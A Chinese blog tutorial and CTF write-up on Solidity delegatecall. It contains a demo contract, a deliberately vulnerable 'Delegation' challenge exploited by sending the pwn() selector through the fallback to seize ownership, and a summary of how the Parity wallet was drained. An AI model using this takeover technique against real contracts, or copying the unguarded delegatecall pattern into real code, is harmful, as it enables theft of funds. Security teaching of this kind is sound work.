越权的关键漏洞函数是:delegatecall。这个函数在之前的重入攻击中有提到
是属于地址类型的成员函数。他还有一种调用方式:
addr.delegatecall(bytes4(keccak256("test(string,uint)")),"test",1);
addr.delegatecall(bytes4(keccak256("test()")));
在官网中,这些底层调用函数是这么解释的
而对delegate官网也有专门的解释
委托调用/代码调用和库
有一种特殊类型的消息调用,被称为 委托调用(delegatecall) 。它和一般的消息调用的区别在于,目标地址的代码将在发起调用的合约的上下文中执行,并且 msg.sender 和 msg.value 不变。 这意味着一个合约可以在运行时从另外一个地址动态加载代码。存储、当前地址和余额都指向发起调用的合约,只有代码是从被调用地址获取的。 这使得 Solidity 可以实现”库“能力:可复用的代码库可以放在一个合约的存储上,如用来实现复杂的数据结构的库。
相当于什么意思呢,我们使用了B合约的相关函数在A合约中执行。有点前朝的剑斩本朝的官那味道。但这是空间上的不是时间上的跨度。用如下合约做简单理解
pragma solidity ^0.4.23;
contract Calltest {
address public b;
function test() public {
b=address(this);
}
}
contract Compare {
address public b;
address public testaddress;
constructor(address _addressOfCalltest) public {
testaddress = _addressOfCalltest;
}
function withcall() public {
testaddress.call(bytes4(keccak256("test()")));
}
function withdelegatecall() public {
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}
- 部署Calltest,再部署Compare构造函数中输入Calltest的addr
- 查看两个合约的b
因为初始化了都是0
- 现在调用withcall函数再查看两个合约的b
发现calltest合约的b变了,而compare合约的b没有变。
- 现在调用withdelegatecall在查看两个合约的b
发现compare合约的b也变了,说明delegatecall是通过了calltest合约的函数而更改了本合约的b变量。而call是直接改了calltest合约的b变量,并且当且合约地址也就是calltest的地址。
CTF‘实战题’
pragma solidity ^0.4.10;
contract Delegate {
address public owner;
function Delegate(address _owner) {
owner = _owner;
}
function pwn() {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function () {
if (delegate.delegatecall(msg.data)) {
this;
}
}
}
看着这个合约,不看题干,盲猜是要改delegation合约的owner变量为自己。一般来说合约部署了之后没有更改owner的函数,就不能进行操作了。但是delegation合约中的匿名函数中有delegatecall,并且pwn中就有owner = msg.sender这种...
给fallback函数传入pwn函数就行了。 先测试看希pwn函数的sha3的前四个字节。
0xdd365b8b
- 部署完成后查看两个合约的owner
都是一样的
- 现在通过上面的payload把已经部署了的delegetion的owner更改一下。
这个时候已经改成功了。
简单分析下parity钱包的漏洞合约
在合约的 429行,当转入value = 0 并且 msg.lenght > 0 的时候就会执行上面说的delegatecall函数。像这个ctf题目一样msg.data时可控的。这样就能调用到当前合约下的所有函数。
最终调用到initMultiowned函数,将合约的owner设置为自己
然后使用execute函数和自己的合约所有者身份把钱转走了!
心愿世界和平~
✔https://blog.csdn.net/xiaoyue2019
参考:https://github.com/openethereum/openethereum/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol https://blog.csdn.net/fly_hps/article/details/81218219